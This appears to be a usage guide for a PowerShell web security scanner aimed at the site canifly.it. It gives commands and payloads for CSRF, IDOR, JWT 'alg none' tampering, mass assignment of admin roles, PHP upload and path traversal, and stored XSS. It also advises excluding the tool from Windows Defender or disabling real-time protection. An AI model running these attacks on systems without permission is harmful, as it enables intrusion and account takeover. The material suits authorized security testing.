The scanner has 33 tests, but 7 critical tests require authentication to execute:
- Test 09 Phase 4-5: Authenticated CSRF + exploitation attempts
- Test 23: IDOR testing (horizontal/vertical privilege escalation)
- Test 30: Session security (fixation, logout bypass, JWT tampering)
- Test 31: Parameter tampering & mass assignment
- Test 32: File upload security (needs auth to access upload forms)
- Test 33: Stored XSS (requires posting to authenticated endpoints)
- Log into target site in browser
- Open DevTools (F12) → Application/Storage → Cookies
- Find session cookie (usually named:
session,PHPSESSID,connect.sid,sessionid) - Copy the full cookie value
.\security_test2.ps1 `
-site "https://canifly.it" `
-SessionCookie "session=eyJhbGciOiJIUzI1NiIsInR5cCI..." `
-AuthUserId "123" `
-Mode "Aggressive" `
-ConfirmAuthorization "I am authorized" `
-ForceExternal `
-htmlReportTest 09 Phase 4: Checks authenticated forms for CSRF tokens
Test 09 Phase 5: Attempts CSRF exploitation (submits forms without tokens)
Test 23: IDOR testing (tries to access user 124's data with user 123's session)
Test 30: Session security (logout bypass, JWT tampering)
Test 31: Mass assignment (injects role=admin into PUT /api/user)
Test 32: File upload fuzzing (tests discovered upload endpoints)
Test 33: Stored XSS (posts payloads to feedback/comment forms)
- Site must have discoverable login endpoint
- Must use standard form-based auth (not OAuth/SAML)
.\security_test2.ps1 `
-site "https://canifly.it" `
-Username "testuser@example.com" `
-Password "MyPassword123!" `
-LoginUrl "https://canifly.it/login" `
-AuthUserId "123" `
-Mode "Aggressive" `
-ConfirmAuthorization "I am authorized" `
-ForceExternal `
-htmlReport- Scanner POSTs credentials to
/login - Extracts session cookie from response
- Uses session for all authenticated tests
- Tests logout/session invalidation
For API testing with JWT/Bearer tokens:
.\security_test2.ps1 `
-site "https://api.canifly.it" `
-SessionCookie "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." `
-Mode "Aggressive" `
-ConfirmAuthorization "I am authorized" `
-ForceExternal `
-htmlReportTo test horizontal privilege escalation (User A accessing User B's data):
# Login as User 1
$session1 = "session=abc123..."
$userId1 = "100"
# Login as User 2
$session2 = "session=xyz789..."
$userId2 = "200".\security_test2.ps1 `
-site "https://canifly.it" `
-SessionCookie $session1 `
-AuthUserId $userId1 `
-Mode "Aggressive"- Calculate
$otherUserId = [int]$AuthUserId + 1(101) - Try to GET
/api/user?id=101with User 1's session - If successful → CONFIRMED IDOR VULNERABILITY
- Reports as CRITICAL issue
"No obvious upload endpoints found via direct testing"
- Provide known upload endpoint:
.\security_test2.ps1 `
-site "https://canifly.it" `
-SessionCookie "session=..." `
-Mode "Aggressive"-
Script will auto-test these paths:
/upload/api/upload/api/avatar/upload/api/file/upload/user/avatar/profile/picture
-
If found, script tests:
.phpfile upload (RCE attempt)- MIME type bypass (
.phpwithContent-Type: image/jpeg) - Path traversal (
../../evil.php) - SVG with embedded JavaScript (XSS)
If you know exact upload endpoint, modify script line ~7080:
$uploadEndpoints = @(
"/upload",
"/api/upload",
"/your/custom/endpoint" # <-- Add here
)- Requires authentication
- Tests these endpoints with XSS payloads:
/api/feedback/api/comments/api/reviews/api/posts
.\security_test2.ps1 `
-site "https://canifly.it" `
-SessionCookie "session=..." `
-Mode "Aggressive"- POST XSS payload to
/api/feedback?message=<script>alert(1)</script> - GET same endpoint to see if payload persists
- If payload appears in response → CONFIRMED STORED XSS
- Re-login and check if session ID changes
- If unchanged → HIGH severity (session fixation vuln)
- Call
/logout - Try to access
/dashboardwith old session - If still works → CRITICAL (session not invalidated)
- Detect JWT in cookies
- Change
algtonone - Remove signature
- Test if accepted → CRITICAL (JWT bypass)
Tests these values on /api/user?id=:
0(may return all users)-1(may access system records)999999(may cause errors)null,undefined,[],{}
POSTs to /api/user with:
{
"name": "Test User",
"email": "test@example.com",
"role": "admin", // ← Injected
"isAdmin": true, // ← Injected
"isPremium": true, // ← Injected
"credits": 999999 // ← Injected
}Then GETs /api/user to see if fields were accepted.
If successful → CRITICAL: Mass Assignment / Privilege Escalation
Cannot automate:
- "Skip payment step but still get premium account"
- "Book flight for $0 by manipulating price"
- "Redeem promo code multiple times"
Why: Requires understanding application flow, multi-step processes
Workaround: Use scanner to find API endpoints, then manually test logic flaws
Cannot handle:
- OAuth flows
- 2FA/MFA
- SAML
- Biometric auth
Workaround: Provide final session cookie after manual login
# 1. Login to site manually and get session cookie
# 2. Find your user ID (check browser network tab or /api/user response)
# 3. Run full scan:
.\security_test2.ps1 `
-site "https://canifly.it" `
-SessionCookie "session=your_session_cookie_here" `
-AuthUserId "123" `
-Mode "Aggressive" `
-MaxRequests 3000 `
-ConfirmAuthorization "I am authorized to test canifly.it" `
-ForceExternal `
-htmlReport `
-outputDir ".\authenticated_scan_results"[09] CSRF Protection Analysis
Phase 4: Authenticated CSRF testing (session replay enabled)...
✓ Found 3 authenticated forms
✗ CRITICAL: 1 authenticated form MISSING CSRF token
[23] Broken Access Control / IDOR Detection
Your User ID: 123 | Testing access to User ID: 124
✗ IDOR DETECTED: User 123 can access User 124 data!
[30] Session Security & Token Validation
Test 2: Testing session invalidation on logout...
✗ CRITICAL: Session token still valid after logout
[31] Parameter Tampering & Mass Assignment
Test 2: Mass assignment vulnerability testing...
✗ CRITICAL: Mass assignment confirmed! Injected: role, isAdmin
[32] File Upload Security Testing
Found potential upload endpoint: /api/avatar/upload
✗ CRITICAL: PHP file upload accepted! Potential RCE
[33] Stored XSS Testing
Testing persistent payload injection...
✗ CRITICAL: Stored XSS confirmed at /api/feedback
Crawl HTML and parse:
<form action="/upload" enctype="multipart/form-data">
<input type="file" name="avatar">
</form>Then auto-test discovered upload endpoints.
Parse JS files for:
fetch('/api/internal/admin', {...})
axios.post('/secret/endpoint', data)- Create account → Verify email bypass → Privilege escalation
Your script is legitimate pentesting but Windows Defender blocks it.
# Run as Administrator
Add-MpPreference -ExclusionPath "C:\Users\amirn\OneDrive\Desktop\site_tester"- Windows Security → Virus & threat protection
- Manage settings → Turn off Real-time protection
- Run scan
- Re-enable protection
Windows Defender won't interfere with Linux environments.
Current Gap: You have the weapon, but no ammunition (auth credentials).
To Close Gap: Provide -SessionCookie + -AuthUserId and re-run.
Result: 7 additional critical tests will execute, potentially finding:
- CSRF exploitation
- IDOR vulnerabilities
- Session fixation/logout bypass
- JWT tampering
- Mass assignment → privilege escalation
- Unrestricted file upload → RCE
- Stored XSS
The scanner is production-ready. It just needs credentials to prove its worth. ahan